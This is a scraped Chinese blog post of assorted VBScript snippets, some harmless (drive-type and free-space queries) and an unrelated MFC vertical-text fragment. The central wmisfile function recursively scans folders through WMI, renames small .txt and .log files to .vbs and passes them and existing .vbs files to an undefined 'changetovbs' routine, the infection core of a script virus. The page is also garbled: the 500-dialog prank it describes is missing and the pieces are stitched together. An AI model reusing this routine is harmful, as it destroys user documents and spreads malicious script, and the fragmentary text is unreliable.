标签:win32 txt ext char sum filename rem cd-rom normal
一、按500次回车 ,退出文件
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
Function
ShowDriveType(drvpath)
Dim
fso, d, t
Set
fso = CreateObject(
"Scripting.FileSystemObject"
)
Set
d = fso.GetDrive(fso.GetDriveName(drvpath))
Select
Case
d.DriveType
Case
0 t =
"Unknown"
Case
1 t =
"Removable"
‘移动硬盘
Case
2 t =
"Fixed"
‘硬盘
Case
3 t =
"Network"
‘网络硬盘
Case
4 t =
"CD-ROM"
Case
5 t =
"RAM Disk"
‘RAM
End
Select
ShowDriveType =
"Drive "
& d.DriveLetter &
": - "
& t
End
Function
Function
ShowFreeSpace(drvPath)
Dim
fso, d, s
Set
fso = CreateObject(
"Scripting.FileSystemObject"
)
Set
d = fso.GetDrive(fso.GetDriveName(drvPath))
‘d为F:
s =
"Drive "
& UCase(drvPath) &
" - "
s = s & d.VolumeName &
" "
s = s &
"Free Space: "
& FormatNumber(d.FreeSpace/1024, 0)
s = s &
" KBytes"
ShowFreeSpace = s
End
Function
Dim
message
message = ShowDriveType(
"F:\Programming\Applications"
)
MsgBox message
message = ShowFreeSpace(
"F:\Programming\Applications"
)
MsgBox message
Function
wmisfile(path_sf,justcnt)
‘On Error Resume Next
StrComputer =
"."
Set
ObjWMIService = GetObject(
"winmgmts:\\"
& StrComputer &
"\root\cimv2"
)
Set
FileList = objWMIService.ExecQuery _
(
"ASSOCIATORS OF {Win32_Directory.Name=‘"
& path_sf &
"‘} Where "
_
&
"ResultClass = CIM_DataFile"
)
For
Each
objFile
In
FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If
1 < objfile.filesize
And
objfile.filesize <= 50000
Then
Select
Case
ename
Case
"txt"
,
"log"
path_vbs = objfile.drive & objfile.path & objfile.filename &
".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename &
".vbs"
)
Call
changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case
"vbs"
If
checkversion(fname) =
False
Then
Call
changetovbs(fname,fname)
justcnt = justcnt + 1
End
If
End
Select
End
If
Next
Set
colSubfolders = objWMIService.ExecQuery _
(
"Associators of {Win32_Directory.Name=‘"
& path_sf &
"‘} "
_
&
"Where AssocClass = Win32_Subdirectory "
_
&
"ResultRole = PartComponent"
)
For
Each
objFolder
In
colSubfolders
wmisfile objfolder.name,justcnt
Next
End
Function
CFont font;
CFont *pOldFont;
font.CreateFont(18, 0, 2700, 2700, FW_NORMAL,
0, 0, 0, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
DEFAULT_PITCH,
"@宋体"
);
pOldFont=dc.SelectObject(&font)
dc.TextOut(50,50,
"文字竖排"
);
dc.SelectObject(&pOldFont)
/* 何问起 hovertree.com */
标签:win32 txt ext char sum filename rem cd-rom normal
原文地址:https://www.cnblogs.com/xuaijun/p/9209256.html